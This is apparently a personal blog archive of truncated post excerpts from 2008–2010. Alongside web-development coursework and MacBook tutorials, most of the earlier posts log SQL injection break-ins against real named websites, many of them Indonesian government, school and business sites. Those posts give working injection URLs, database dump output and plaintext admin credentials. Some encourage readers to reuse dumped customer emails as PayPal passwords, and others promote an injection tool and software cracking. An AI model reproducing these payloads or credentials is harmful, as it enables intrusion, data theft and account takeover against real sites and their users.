Week 8 Challenge: Javascript

2010-09-21T14:42:00.000+07:00

This week's challenge is about JavaScript. Specifically, it's about a Date() function to how many days old you are and pop up this value in an alert box on an html page as it opens. Find out the codes below... Week 6's </article> <article> <h1>Week 5 Practical Exercise (Challenge only).</h1> <p>2010-08-31T21:37:00.000+07:00</p> The practical exercise is quite easy so I just went straight to the challenge The challenge: If you have time at the end, experiment with the :hover pseudo-class to make the page interactive. Make the text of a post get bigger if you hover over it. Make the contents of the posts appear only when you hover the mouse over the title. I decided to divide the challenge into 2 sections: 1. Making the </article> <article> <h1>CSS Sprites</h1> <p>2010-08-30T19:51:00.000+07:00</p> The first time I saw these two words on Best Practices for Speeding Up Your Website, I asked myself, "How come does Sprite relate to CSS?" I found the definition of it: CSS Sprites are the preferred method for reducing the number of image requests. Combine your background images into a single image and use the CSS background-image and background-position properties to display the desired </article> <article> <h1>YSlow (Speeding Up Your Website)</h1> <p>2010-08-30T19:21:00.000+07:00</p> When I was searching on Google how to strip unused CSS codes, I found the Best Practices for Speeding Up Your Website. Go to the link I've given to read further details about how to tweak your website :D There are 35 best practices that can be done for boosting your website, but, you don't have to worry of how you're gonna apply these practices, because Yahoo have created a tool called YSlow </article> <article> <h1>Technologies Choice For My Learning Contract</h1> <p>2010-08-24T10:51:00.002+07:00</p> Basically, my technologies choice for my learning contract can be categorized as: Front-end technologies: XHTML, CSS, Javascript, jQuery 1.4. Back-end technologies: PHP, MySQL. Web Server: Apache Since this week's subject material is about server side technologies, let's take a look on what PHP is. PHP (recursive acronym for PHP: Hypertext Preprocessor) is a widely-used open source </article> <article> <h1>Week 4 Practical Exercise</h1> <p>2010-08-24T10:35:00.000+07:00</p> Week 4 materials are about server-side technologies, which focus on PHP. For the exercise, we're gonna use date function on PHP. If you want to see the documentation without going online, just download the documentation here Don't hesitate to click Read More. Date function string date ( string $format [, int $timestamp ] ) Returns a string formatted according to the given format string using </article> <article> <h1>Week 3 Practical Exercise</h1> <p>2010-08-17T20:37:00.004+07:00</p> This blog post was made to point the interesting parts of the exercises given on week 3. To see fullpost, don't hesitate to click "Read More" :D Exercise 1 - What's the difference between <strong> and <b> ? => Doing this exercise makes me know the answer Use the <strong> and <em> tags when the content of your page requires that certain words or phrases be stressed. Use them sparingly or </article> <article> <h1>Check out my Learning Proposal</h1> <p>2010-08-17T19:52:00.001+07:00</p> Click here to see my draft learning proposal. </article> <article> <h1>Fix failed 000webhost.com validation</h1> <p>2010-08-11T20:35:00.000+07:00</p> If you're failed to validate your 000webhost.com, it is probably because of the generated analytic code that is used "to monitor if account active or not. Analytics code is also used to build stats and visitors report for your website. By disabling analytics code you will also loose an ability to get stats for your website." To fix it, 1. Go to http://members.000webhost.com/analytics.php 2. </article> <article> <h1>Blogger W3C Validation Fail</h1> <p>2010-08-11T11:46:00.000+07:00</p> OMG !!! I'm surprised when I validate my blog. 137 errors and 20 warning(s). Insane. Referring to Vikas Gupta's blog (bloggingtips), Blogger have had this problem since they still used XHTML for the templates. Even though, it has smaller number than before (probably because now they use HTML5), but I think the number is still huge. I've tested some Wordpress websites and they have less </article> <article> <h1>Modify the code tag</h1> <p>2010-08-06T12:34:00.006+07:00</p> Basically, I've been using <code> tag for links, descriptions, etc. <pre> tag (just added recently) is used for the programming code :D For this blog, I use this css code below for my <code> tag: code{ color: black; padding: 4px 10px 0px 40px; line-height:20px; /*--Background of lined paper--*/ background:url(http://2.bp.blogspot.com/_4HKUHirY_2U/SwvYtNp8iUI/AAAAAAAAAUM/0UnYmLgLebk/ </article> <article> <h1>Added "Read More" (again)</h1> <p>2010-08-05T22:11:00.000+07:00</p> Reference: http://bloggerstop.net/2008/10/blogger-help-add-read-more-link-to-your.html Click Read More to see the steps Steps to follow: 1. Log into the Blogger.com account 2. Go to "Layout" section 3. Back up your current template, by downloading it. 4. Now click on "Expand Widget Templates" 5. Now find this code - ]]> 6. Just AFTER that code add these lines <style> <b:if cond='data: </article> <article> <h1>Syntax Highlighter (+Demo)</h1> <p>2010-08-05T20:58:00.007+07:00</p> I've added Syntax Highlighter for some programming codes. Go to http://alexgorbatchev.com/SyntaxHighlighter/ to get the latest version. Reference: http://blog.cartercole.com/2009/10/awesome-syntax-highlighting-made-easy.html Demo: public class HelloBlogger { public static void main(String [] args) { System.out.println("Hello Blogger!!"); } } Yeepee, it's working. Latest version removes the </article> <article> <h1>Cleaning up my blog.</h1> <p>2010-08-05T18:12:00.001+07:00</p> After several months, I visit my blog to clean it up (no more ads, new template). Why? Because, there will be more visitors to come to visit my blog ( I have faith on it ) :D I need to impress them ^^ Question: Why a new label/category appears? Answer: This blog will also be used for one of assessment criteria for Digital Media Technologies subject. I want to make sure that it looks tidy and </article> <article> <h1>Macbook Screen Models List</h1> <p>2010-04-21T18:22:00.003+07:00</p> Below is a list of Macbook screen models. It's useful when you want to replace your Macbook screen by yourself. This list especially useful for 13.3" Macbooks (Source: many) 9C84 = LG/Philips LP154WP3-TLA1 (15" MacBook Pro) 9C85 = Chi Mei N154C6-L04 (15" MacBook Pro) Older 9C89 = LG/Philips LP133WX2-TLC1 (MacBook UniBody) 9C8C - AU Optronics B133EW04 V0 9C9F - LP133WX3-TLA1 Newer 9CA0 - Chi </article> <article> <h1>[Tutorial] Fixing Time Sync issue with OSX and Windows</h1> <p>2010-02-08T11:33:00.003+07:00</p> Read http://prasys.info/2010/01/fixing-time-sync-issue-with-osxwindows/ </article> <article> <h1>Kingsford & Soekarno-Hatta Airport</h1> <p>2010-02-07T17:06:00.003+07:00</p> My first experience traveling alone after long time waiting. The key is a notebook to write a checklist so you won't forget any important things you need to bring. This post is a reminder for my next trip. In this trip, I got a tax refund for my new Macbook :D. More about TRS, click hereI travelled with Garuda (Airbus A330-200) on Jan 2010.This was my checklist on my waist bag:1. passport2. </article> <article> <h1>[Tutorial] Fixing the internal mic Macbook 13" Late 2009 on Windows 7</h1> <p>2010-01-08T20:01:00.004+07:00</p> Update: By installing Boot Camp 3.1, you don't need to apply this fixTutorials Index1. Installing Windows 7 using Boot Camp (OS X 10.6 & Macbook 13" Late 2009 Unibody). This only installs 2 partitions which are Mac and Windows partition respectively.2. Installing Windows 7 without using Boot Camp (OS X 10.6 & Macbook 13" Late 2009 Unibody). This doesn't mean not to use Boot Camp at all. We still </article> <article> <h1>[Tutorial] Fixing slow booting in Windows 7 on Macbook 13" Late 2009 Unibody</h1> <p>2010-01-08T11:48:00.014+07:00</p> Tutorials Index 1. Installing Windows 7 using Boot Camp (OS X 10.6 & Macbook 13" Late 2009 Unibody). This only installs 2 partitions which are Mac and Windows partition respectively. 2. Installing Windows 7 without using Boot Camp (OS X 10.6 & Macbook 13" Late 2009 Unibody). This doesn't mean not to use Boot Camp at all. We still need to install Boot Camp for drivers in Windows. This tutorial </article> <article> <h1>[Tutorial] Installing Wireless LAN (WiFi) Driver in Windows 7 on Macbook 13" Late 2009 Unibody</h1> <p>2010-01-08T11:32:00.007+07:00</p> Update: By installing Boot Camp 3.1, you don't need to apply this fixTutorials Index1. Installing Windows 7 using Boot Camp (OS X 10.6 & Macbook 13" Late 2009 Unibody). This only installs 2 partitions which are Mac and Windows partition respectively.2. Installing Windows 7 without using Boot Camp (OS X 10.6 & Macbook 13" Late 2009 Unibody). This doesn't mean not to use Boot Camp at all. We still </article> <article> <h1>[Tutorial] Installing Windows 7 on Macbook 13" Late 2009 without using Boot Camp</h1> <p>2010-01-08T11:07:00.004+07:00</p> Tutorials Index1. Installing Windows 7 using Boot Camp (OS X 10.6 & Macbook 13" Late 2009 Unibody). This only installs 2 partitions which are Mac and Windows partition respectively.2. Installing Windows 7 without using Boot Camp (OS X 10.6 & Macbook 13" Late 2009 Unibody). This doesn't mean not to use Boot Camp at all. We still need to install Boot Camp for drivers in Windows. This tutorial will </article> <article> <h1>[Tutorial] Installing Windows 7 on Macbook 13" Late 2009 using Boot Camp</h1> <p>2010-01-08T10:16:00.005+07:00</p> I just got a Macbook (the late 2009 one) this week and wanna use Windows 7 as my primary OS, but I want to learn to use Mac OSX 10.6 (Snow Leopard) as well. There were some problems I faced and got the solutions from reading some forums. So I wanna save the solutions & steps how to solve those problems here.Tutorials Index1. Installing Windows 7 using Boot Camp (OS X 10.6 & Macbook 13" Late 2009 </article> <article> <h1>Blog Reopened</h1> <p>2010-01-08T10:06:00.000+07:00</p> After several considerations, I need to reopen my blog to save several tips and tricks in computer related things. So I announce this blog is ACTIVE again. </article> <article> <h1>-- Blog CLOSED --</h1> <p>2009-10-30T19:46:00.003+07:00</p> I think I get no time to update hacking activities because of my study. If you want to get any updates of manga, just go to onemanga.com or baka-updates.com.See you next time... </article> <article> <h1>[Tutorial] Remote Desktop and SSH behind HTTP NTLM Authentication Proxy Server</h1> <p>2009-08-11T12:25:00.004+07:00</p> This is a great lesson and i can't do it in my hometown because my ISP there blocks all inbound ports. Here, in Australia, i can learn and do it in one university.There are some configurations needed to do this. I have my laptop behind router to connect to the internet.Laptop : 192.168.1.75Public IP: 123.243.61.232You need to download:1. Putty. A great free telnet/SSH tool.2. CopSSH. free SSH </article> <article> <h1>[Tutorial] Disable Splash Screen on Firefox Portable</h1> <p>2009-08-04T14:31:00.002+07:00</p> 1. Copy the \FireFoxPortable\Other\Source\FirefoxPortable.ini to the \FirefoxPortable (or where FirefoxPortable.exe exist) or you can create a file and name it FirefoxPortable.ini2. Make sure the content of the file is like below (especially the DisableSplashScreen):[FirefoxPortable]FirefoxDirectory=App\firefoxProfileDirectory=Data\profileSettingsDirectory=Data\settingsPluginsDirectory=Data\ </article> <article> <h1>[Tutorial] Installing Flash Player Plugin on Firefox without Administrator Privilege or Installation File</h1> <p>2009-08-04T14:27:00.001+07:00</p> UPDATE: The following guide, originally wrote for Firefox 2, has been used successfully on Firefox 3 and Firefox 3.5. Users of Firefox Portable edition (versions 3 and 3.5) also have been successful using this guide.The Windows computers available at my University permits login only by autenticated users (students) who don't have Administrator access and permissions.Installing software on those </article> <article> <h1>[Tutorial] Configure a VPN connection in WinXP</h1> <p>2009-07-15T13:10:00.003+07:00</p> I found good tutorials on the net and it really works. Here are the tuts:Configure a VPN server: http://www.onecomputerguy.com/networking/xp_vpn_server.htmConfigure a VPN client: http://www.onecomputerguy.com/networking/xp_vpn.htm </article> <article> <h1>[Hacking] darkMySQLi v1.6</h1> <p>2009-07-11T12:12:00.003+07:00</p> New Version of schemafuzz.Download: http://tinyurl.com/darkMySQLi16More information: click Read More or here#!/usr/bin/python #2/06/09 ################################################################ # .___ __ _______ .___ # # __| _/____ _______| | __ ____ \ _ \ __| _/____ # # / __ |\__ \\_ __ \ |/ // ___\/ /_\ \ / __ |/ __ \ # # </article> <article> <h1>[SQLi] http://www.queenbeehunt.com</h1> <p>2009-03-22T19:14:00.003+07:00</p> I can't enjoy hacking as much as i could. It's really annoying. Below is my first hack in this month and it's unintended. Tool: schemafuzz.py v5.0 mod by me & IntelliTamperAdmin panel: http://www.queenbeehunt.com/magnm/Admin usr/pwd: admin:admin or andy:admin[+] URL:http://www.queenbeehunt.com/finalist/?detail=87+and+1=2+union+select+1,sqli,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23- </article> <article> <h1>[DDL] To-LOVE-Ru Valentine Special [ThaFallenAngel & Kaibayugi2002]</h1> <p>2009-02-13T11:19:00.003+07:00</p> Download To-LOVE-Ru Omake Valentine Special by ThaFallenAngel & Kaibayugi2002 Download it: here </article> <article> <h1>TomTom Go300/500/700 with NavCore 8</h1> <p>2009-02-10T16:57:00.002+07:00</p> Today, I've just updated the my auntie's TomTom Go300 navcore to version 8.01. Thanks for blood30 posting the thread "Navcore 8?on TomTom Go 500? heres how" in http://www.gpsunderground.comSteps1. First make a backup of your SD card and keep it some where safe and easy to find.2. When that is done, format the SD card so there nothing and its fully empty.3. Download the below 2 files and extract </article> <article> <h1>[SQLi] http://www.axis.co.id</h1> <p>2009-02-07T08:02:00.003+07:00</p> Tools : schemafuzz.py v.50 mod by meAdmin panel: /login.phpAdmin user/pwd: mommy:mommyP.S: this vuln already been found, and it's on google[+] URL:http://www.axis.co.id/news_detail.php?code=20051124121710+AND+1=2+UNION+SELECT+0,1,sqli,3,4,5,6,7,8,9--[+] Evasion Used: "+" "--"[+] 11:53:15[+] Proxy Not Given[+] Gathering MySQL Server Configuration... Database: axiscoid_db User: axiscoid_db@ </article> <article> <h1>[SQLi] http://www.nafed.go.id</h1> <p>2009-02-05T11:57:00.003+07:00</p> Tools: schemafuzz.py v5.0 mod by me.Admin loc: /adminAdmin user/pwd: enter this "' or 'a'='a" (without double quotes) to both fields.Ps: It's already been owned by some Turkey hackers. ^^[+] URL:http://www.nafed.go.id/mediacenter.php?ctrl=info&idberita=6'/**/AND/**/1=2/**/UNION/**/SELECT/**/0,1,2,sqli,4,5,6,7,8/*[+] Evasion Used: "/**/" "/*"[+] 15:58:10[+] Proxy Not Given[+] Gathering MySQL </article> <article> <h1>[SQLi] http://www.endonesia.org</h1> <p>2009-02-03T13:51:00.002+07:00</p> Dork : "Powered by endonesia 8.4"Tools: schemafuzz.py v5.0 mod by meAdmin panel: /adminAdmin usr/pwd : Endonesia:jatwar22[+] URL:http://www.endonesia.org/mod.php?mod=publisher&op=viewarticle&cid=1&artid=2+AND+1=2+UNION+SELECT+sqli,1,2,3,4,5,6,7,8,9--[+] Evasion Used: "+" "--"[+] 17:46:47[+] Proxy Not Given[+] Gathering MySQL Server Configuration... Database: endorg_endorg User: endorg_endorg@ </article> <article> <h1>[SQLi] http://www.iklansolo.net</h1> <p>2009-02-03T13:32:00.003+07:00</p> Tools: schemafuzz v5.0 mod by meDork : "Powered by eNdonesia 8.4"This exploit can also be found on milworm.com, but there is a slight different.Admin panel : http://www.iklansolo.netAdmin usr/pwd : admin : is12123[+] URL:http://www.iklansolo.net/mod.php?mod=publisher&op=viewcat&cid=9+AND+1=2+UNION+SELECT+sqli,1--[+] Evasion Used: "+" "--"[+] 17:36:28[+] Proxy Not Given[+] Gathering MySQL Server </article> <article> <h1>[SQLi] http://www.enutrition.com.au</h1> <p>2009-02-03T10:06:00.001+07:00</p> Tools : schemafuzz.py v5.0 mod by meAdv : some email password is their paypal password. So dump it and check it by yourself. First 102 rows are already dumped by me.[+] URL:http://www.enutrition.com.au/product.php?p_id=491+AND+1=2+UNION+SELECT+0,1,sqli,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--[+] Evasion Used: "+" "--"[+] 13:32:19[+] Proxy Not Given[+] Gathering MySQL </article> <article> <h1>[SQLi] http://www.healthfitness.com.au</h1> <p>2009-02-03T10:02:00.002+07:00</p> Tools: schemafuzz.py v5.0 mod by meAdvantage: Use it wisely. Dump it and check if their paypal password is their email password ^^[+] URL:http://www.healthfitness.com.au/shop/product.php?p_id=56+AND+1=2+UNION+SELECT+0,1,sqli,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22--[+] Evasion Used: "+" "--"[+] 13:29:28[+] Proxy Not Given[+] Gathering MySQL Server Configuration... Database: db60028b </article> <article> <h1>[SQLi] http://www.koranslawi.com</h1> <p>2009-01-16T20:46:00.002+07:00</p> Another site using QB Headlines. koranslawi.com hacked using sql injectionTool = schemafuzz.py v5.0Admin page = http://koranslawi.com/admin/Admin usr:pwd = admin:qbpwd[+] URL: http://koranslawi.com/index.php?cat=2+AND+1=2+UNION+SELECT+darkc0de,1,2,3,4,5,6,7,8,9--[+] Evasion Used: "+" "--"[+] 23:46:30[-] Proxy Not Given[+] Gathering MySQL Server Configuration... Database: korans3_koranslawi User: </article> <article> <h1>[SQLi] http://www.ukb.ac.id</h1> <p>2009-01-16T18:57:00.003+07:00</p> Tool = schemafuzz.py v5.0 mod by meAdmin page = http://www.ukb.ac.id/admin/Admin usr:pwd = saropi:saropi[+] URL: http://www.ukb.ac.id/detail_berita.php?id=15+AND+1=2+UNION+SELECT+0,sqli,2,3,4--[+] Evasion Used: "+" "--"[+] 22:52:20[-] Proxy Not Given[+] Gathering MySQL Server Configuration... Database: ukb_dbaseukb User: ukb_dbaseukb@localhost Version: 4.0.26-standard-log[+] Dumping data from </article> <article> <h1>[SQLi] http://www.smakkosayu.sch.id [FIXED]</h1> <p>2009-01-11T13:15:00.004+07:00</p> Update (12/01/09): fixed by admin. Good admin :)Admin page: http://www.smakkosayu.sch.idAdmin usr/pwd: administrator:h1r0sh1m4Tool: schemafuzz v5.0 mod by me[+] URL:http://www.smakkosayu.sch.id/page.php?s=7&pageid=157/**/AND/**/1=2/**/UNION/**/SELECT/**/sqli,1,2,3,4,5,6,7/*[+] Evasion Used: "/**/" "/*"[+] 16:56:09[+] Proxy Not Given[+] Gathering MySQL Server Configuration... Database: t41085_ </article> <article> <h1>[Tutorial] Crack Simple Program with Ollydbg</h1> <p>2009-01-06T07:24:00.002+07:00</p> This is a Translation of a text by Bastijs.The tutorial is based on Net Force crackit3 and was written to help beginning (software) crackers to get started... In the future I'll release an entire series on cracking, which will start at the very basics.Lets dive right into the cracking..The program prompts one of these to messages: "ACCESS GRANTED" or "ACCESS DENIED".We start ollydbg and scroll to </article> <article> <h1>Pet Society - Hack Coins & Paw Points</h1> <p>2008-12-10T14:41:00.004+07:00</p> Tired of waiting your paw points & coins increased. Go see the videos and rage!!!Hack Coins VideoNote:the code is: 840FFF85C12A0FF21st of all...tick all the boxes that is told u to do2nd sell or buy anything *before us start the first scan*and then do exactly what in the video Download Cheat Engine: hereHack Paw Points VideoNote:u can both hack ur paw points and ur trophies....u can also do it </article> <article> <h1>[SQLi] http://www.grouply.com</h1> <p>2008-11-24T13:53:00.002+07:00</p> Intro: it's like the http://www.faniq.com case, i'm tired being invited to join some sites that are not even useful for me :) I decided to check, and again, voila, it's vulnerable :)PoC: http://www.grouply.com/register.php?rem=[SQLi]Demo: http://www.grouply.com/register.php?rem=25271879'/**/AND/**/1=2/**/UNION/**/SELECT/**/0,1,2,3/*Database info:[+] URL:http://www.grouply.com/register.php?rem= </article> <article> <h1>[SQLi] http://www.faniq.com</h1> <p>2008-11-23T14:03:00.007+07:00</p> Intro: it was funny. I found this vulnerability when i was about to unsubscribe, and voila, it was vulnerable. The password is not encrypted, so there is a chance that we can access members' email that has the password as they entered when they were registering.PoC : http://www.faniq.com/unsubscribe.php?invite_id=[SQLi]Demo: http://www.faniq.com/unsubscribe.php?invite_id=64954193+AND+1=2+UNION+ </article> <article> <h1>[SQLi] http://www.broadsword.com.au</h1> <p>2008-11-22T16:32:00.000+07:00</p> Tools: schemafuzz.pyDatabase info: [+] URL: http://www.broadsword.com.au/news.php?id=35+AND+1=2+UNION+SELECT+0,darkc0de,2,3,4,5,6--[+] Evasion Used: "+" "--"[+] 20:20:43[-] Proxy Not Given[+] Gathering MySQL Server Configuration... Database: broadsword User: broadsword@localhost Version: 4.1.22[+] Dumping data from database "broadsword" Table "users"[+] and Column(s) ['email', 'password'][+] </article> <article> <h1>[SQLi] http://www.highperformancesailing.com.au</h1> <p>2008-11-22T15:17:00.002+07:00</p> Tools = schemafuzz.pyAdmin page = http://www.highperformancesailing.com.au/admin/Admin usr/pwd = admin:adminDatabase info:[+] URL:http://www.highperformancesailing.com.au/news.php?id=31+AND+1=2+UNION+SELECT+0,sqli,2,3--[+] Evasion Used: "+" "--"[+] 19:12:04[+] Proxy Not Given[+] Gathering MySQL Server Configuration... Database: sailing_hps User: sailing_sailing@localhost Version: </article> <article> <h1>[SQLi] http://www.westcare.com.au</h1> <p>2008-11-22T14:52:00.004+07:00</p> Tools: schemafuzz.pyAdmin page: http://www.westcare.com.au/admin/[+] URL:http://www.westcare.com.au/news.php?id=26+AND+1=2+UNION+SELECT+sqli,1--[+] Evasion Used: "+" "--"[+] 18:49:07[+] Proxy Not Given[+] Gathering MySQL Server Configuration... Database: westcare_cms User: westcare_cmsuser@localhost Version: 5.0.51a-community[Database]: westcare_cms[Table: Columns][0]code: id,class,description, </article> <article> <h1>[SQLi] BigKid Designs Websites</h1> <p>2008-11-22T14:34:00.003+07:00</p> Dork = inurl:news.php?p=shwPoC = http://www.site.com/news.php?p=shw&id=[SQLi]Demo = http://www.warnemarketing.com.au/news.php?p=shw&id=47+AND+1=2+UNION+SELECT+0,1,2,3,4,5,6,7,8--Database structure:[+] URL:http://www.warnemarketing.com.au/news.php?p=shw&id=47+AND+1=2+UNION+SELECT+0,1,2,unhex(hex(sqli)),4,5,6,7,8--[+] Evasion Used: "+" "--"[+] 18:08:49[+] Proxy Not Given[+] Gathering MySQL Server </article> <article> <h1>[SQLi] http://www.imigrasi.co.id</h1> <p>2008-11-21T13:25:00.004+07:00</p> PoC: http://www.imigrasi.go.id/index.php?go=pelayanan&pelIdnya=[SQli]Demo: http://www.imigrasi.go.id/index.php?go=pelayanan&pelIdnya=1+and+1=2+union+select+1,2,concat_ws(0x3a,usrID,usrPwd),4,5,6,7,8+from+users+limit+0,1--Tools: RainbowCrack at irc.plain-text.infoAdmin usr/pwd: admin:123qweasdzxcAdmin login page: http://www.imigrasi.co.id/login.phpComment: mysql db can also be dumped.Screenshot: </article> <article> <h1>[SQLi] http://www.dotaportal.com</h1> <p>2008-11-16T06:14:00.001+07:00</p> PoC: http://www.dotaportal.com/index.php?act=items&id=[SQLi]Demo: http://www.dotaportal.com/index.php?act=items&id=151'/**/AND/**/1=2/**/UNION/**/SELECT/**/0,1,2,3,4,5,6,7/*Database info:[+] URL:http://www.dotaportal.com/index.php?act=items&id=151'/**/AND/**/1=2/**/UNION/**/SELECT/**/0,sqli,2,3,4,5,6,7/*[+] Evasion Used: "/**/" "/*"[+] 10:40:26[+] Proxy Not Given[+] Gathering MySQL Server </article> <article> <h1>[SQLi] http://www.bbpk.go.id</h1> <p>2008-11-14T10:20:00.002+07:00</p> PoC: http://www.bbpk.go.id/main/?option=com_other&tbl=1&id=[SQLi]Demo: http://www.bbpk.go.id/main/?option=com_other&tbl=1&id=5+AND+1=2+UNION+SELECT+group_concat(username,0x3a,password,0xd),1+from+mos_users--"Problem: can't decrypt password </article> <article> <h1>[SQLi] http://www.gunungkidulkab.go.id</h1> <p>2008-11-14T09:58:00.002+07:00</p> Tool: schemafuzz.py v5.0Admin login loc: http://www.gunungkidulkab.go.id/gerbangkabupaten.phpProblem: can't login?[+] URL:http://www.gunungkidulkab.go.id/home.php?mode=content&id=177+AND+1=2+UNION+SELECT+0,1,2,3,4,sqli,6,7,8,9,10,11,12,13--[+] Evasion Used: "+" "--"[+] 13:17:12[+] Proxy Not Given[+] Gathering MySQL Server Configuration... Database: dbportalgunungkidul User: gunungkidulkab.g@ </article> <article> <h1>[SQLi] http://www.sulut.go.id</h1> <p>2008-11-10T13:23:00.002+07:00</p> Problem: Admin directory found, but it's forbidden...Admin dir: http://www.sulut.go.id/admin/Dump:[+] URL:http://www.sulut.go.id/new/isi.php?vd=berita&id=89'/**/AND/**/1=2/**/UNION/**/SELECT/**/sqli,1,2,3,4,5,6,7/*[+] Evasion Used: "/**/" "/*"[+] 16:48:27[+] Proxy Not Given[+] Gathering MySQL Server Configuration... Database: sulut User: sulut@localhost Version: 5.0.27[+] Showing all databases </article> <article> <h1>[SQLi] http://seaedunet.seamolec.org</h1> <p>2008-10-29T13:27:00.002+07:00</p> Tool: schemafuzz.py v5.0[+] URL:http://seaedunet.seamolec.org/main.php?isi=newsdetail&&id=78+AND+1=2+UNION+SELECT+0,sqli,2,3,4--[+] Evasion Used: "+" "--"[+] 17:19:39[+] Proxy Not Given[+] Gathering MySQL Server Configuration... Database: seaedunet_db User: seaedunet@localhost Version: 5.0.32-Debian_7etch6-log[+] Do we have Access to MySQL Database: Yes <-- w00t w00t[!] http:// </article> <article> <h1>Here in Australia...</h1> <p>2008-10-27T13:58:00.002+07:00</p> Wow man, everyday is a busy day. Moving to another country is not an easy task for me. With an "unhuman" weather, i've already got sicked these days, sore throat and runny nose.So, here in Australia, I can easily do hacking stuff like in Indonesia. I try to "play safe" and not ruin my permit to study here. In here, I can't download as much as i did in Indonesia (poor me). I think Indonesia is </article> <article> <h1>[SQLi] http://sman1-boyolali.com</h1> <p>2008-10-15T13:05:00.004+07:00</p> Tool --> schemafuzz.py v5.0Admin login page --> http://sman1-boyolali.com/admin/Admin usr:pwd --> admin:mastar1234Dump:[+] URL:http://sman1-boyolali.com/detailberita.php?id=6+AND+1=2+UNION+SELECT+0,sqli,2,3,4,5,6,7,8--[+] Evasion Used: "+" "--"[+] 12:40:16[+] Proxy Not Given[+] Gathering MySQL Server Configuration... Database: sman1bo_smanbo User: sman1bo@localhost Version: 5.0.51a-community[ </article> <article> <h1>[SQLi] http://www.buturnews.idrap.or.id</h1> <p>2008-10-15T11:14:00.003+07:00</p> Tool --> blindext.py v5.0User login --> buturnews:banda1302 (see else in dump)Dump:[+] URL:http://www.buturnews.idrap.or.id/detailBerita.php?ID=62[+] Proxy Not Given[+] Gathering MySQL Server Configuration... [+] MySQL >= v5.0.0 found![+] Showing Tables from database "t79166_dbbutur"[+] 10:12:30[+] Number of Rows: 5[0]: tberita [1]: tcounter [2]: topini [3]: ttamu [4]: tuser [-] 10:24:56[-] Total </article> <article> <h1>[SQLi] http://www.jiwasraya.co.id</h1> <p>2008-10-15T10:30:00.004+07:00</p> Admin login page --> http://www.jiwasraya.co.id/admin/Admin usr:pwd --> admin:ari1007 (see else in dump)Dump:[+] URL:http://www.jiwasraya.co.id/detailberita.php?id=233+AND+1=2+UNION+SELECT+sqli--[+] Evasion Used: "+" "--"[+] 09:51:11[+] Proxy Not Given[+] Gathering MySQL Server Configuration... Database: jiwasraya1 User: root@localhost Version: 5.0.18-log[+] Do we have Access to MySQL Database: </article> <article> <h1>[SQLi] http://mobile.kompas.com</h1> <p>2008-10-14T21:06:00.003+07:00</p> I try to get the full schema of kompas.com but i'm too tired, and it's too many. If you're so eager to "hack", try to get them all :)Info:[+] URL:http://mobile.kompas.com/?go=p&pid=1&idm=8'/**/AND/**/1=2/**/UNION/**/SELECT/**/0,sqli,2,3/*[+] Evasion Used: "/**/" "/*"[+] 17:59:19[+] Proxy Not Given[+] Gathering MySQL Server Configuration... Database: kompasmobile User: megadb@10.50.12.196 Version: </article> <article> <h1>[SQLi] http://www.gontha.com/</h1> <p>2008-10-14T19:10:00.002+07:00</p> Tool --> schemafuzz.py v5.0Admin login page --> http://www.gontha.com/admin/Admin usr:pwd --> sai:saimanDump:[+] URL:http://www.gontha.com/photo.php?action=detail&mode=viewphoto&cid=24&idalbum=13+AND+1=2+UNION+SELECT+0,darkc0de,2,3,4,5--[+] Evasion Used: "+" "--"[+] 18:57:14[+] Proxy Not Given[+] Gathering MySQL Server Configuration... Database: persada_gontha User: persada_visitor@98.131.15.31 </article> <article> <h1>[SQLi] http://golkar.go.id</h1> <p>2008-10-14T13:43:00.002+07:00</p> Tool --> schemafuzz v5.0Dump:[+] URL:http://pusat.golkar.or.id/galeri_golkar.php?g_id=2+AND+1=2+UNION+SELECT+sqli,1,2,3--[+] Evasion Used: "+" "--"[+] 13:14:02[+] Proxy Not Given[+] Gathering MySQL Server Configuration... Database: golkar_pusat User: golkar_pusat@202.43.163.198 Version: 5.0.51a-3ubuntu5.1[+] Do we have Access to MySQL Database: Yes <-- w00t w00t[!] http://pusat.golkar.or.id/ </article> <article> <h1>[SQLi] http://en.agrimedia.com/</h1> <p>2008-10-13T20:57:00.003+07:00</p> Tool --> schemafuzz.py v5.0Admin login page --> http://en.agrimedia.com/admin/Admin usr:login --> admin:agri8z3 (see else in dump)Dump:[+] URL:http://en.agrimedia.com/libfeed/shop/detail.php?id=246'/**/AND/**/1=2/**/UNION/**/SELECT/**/sqli,1,2,3,4,5,6,7,8,9,10,11,12,13/*[+] Evasion Used: "/**/" "/*"[+] 20:26:45[+] Proxy Not Given[+] Gathering MySQL Server Configuration... Database: usr_web4_1 </article> <article> <h1>[SQLi] http://www.theperfusionstore.com/</h1> <p>2008-10-13T20:43:00.002+07:00</p> Admin login page --> http://www.theperfusionstore.com/admin/Admin usr:pwd --> admin:p3rfusionDump:[+] URL:http://www.theperfusionstore.com/shop/detail.php?cat=4&ID=13+AND+1=2+UNION+SELECT+sqli,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--[+] Evasion Used: "+" "--"[+] 20:30:50[+] Proxy Not Given[+] Gathering MySQL Server Configuration... Database: perfusion User: perfusion@48- </article> <article> <h1>[SQLi] http://www.racewithfaith.com</h1> <p>2008-10-13T20:18:00.001+07:00</p> Tool: schemafuzz.py v5.0Admin login page --> http://www.racewithfaith.com/admin/Admi:n usr:pwd --> dana:vr00mDump[+] URL:http://www.racewithfaith.com/newsdetail.php?ID=35+AND+1=2+UNION+SELECT+0,darkc0de,2,3,4,5,6,7,8--[+] Evasion Used: "+" "--"[+] 20:12:07[+] Proxy Not Given[+] Gathering MySQL Server Configuration... Database: racewith_sited User: racewith@server284.com Version: 4.0.27-log[+] </article> <article> <h1>[SQLi] http://www.fiacona.org</h1> <p>2008-10-13T15:42:00.004+07:00</p> Tool --> ManualAdmin login page --> http://www.fiacona.org/adminAdmin usr:pwd --> admin:tigersDatabase info: http://www.fiacona.org/category_index.php?catid=-95'+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--%20and%20'1'='2Dump: http://www.fiacona.org/category_index.php?catid=-95'+union+select+1,2,concat_ws(0x3a,table_name,column_name), </article> <article> <h1>[SQLi] http://www.arabeuropean.org</h1> <p>2008-10-13T14:32:00.004+07:00</p> Tool --> blindext.py v3.0 (blind SQL injection)Database info:[+] URL:http://www.arabeuropean.org/newsdetail.php?ID=94[+] Proxy Not Given[+] Gathering MySQL Server Configuration... [+] MySQL >= v4.0.0 found![+] Showing database version, username@location, and database name![+] 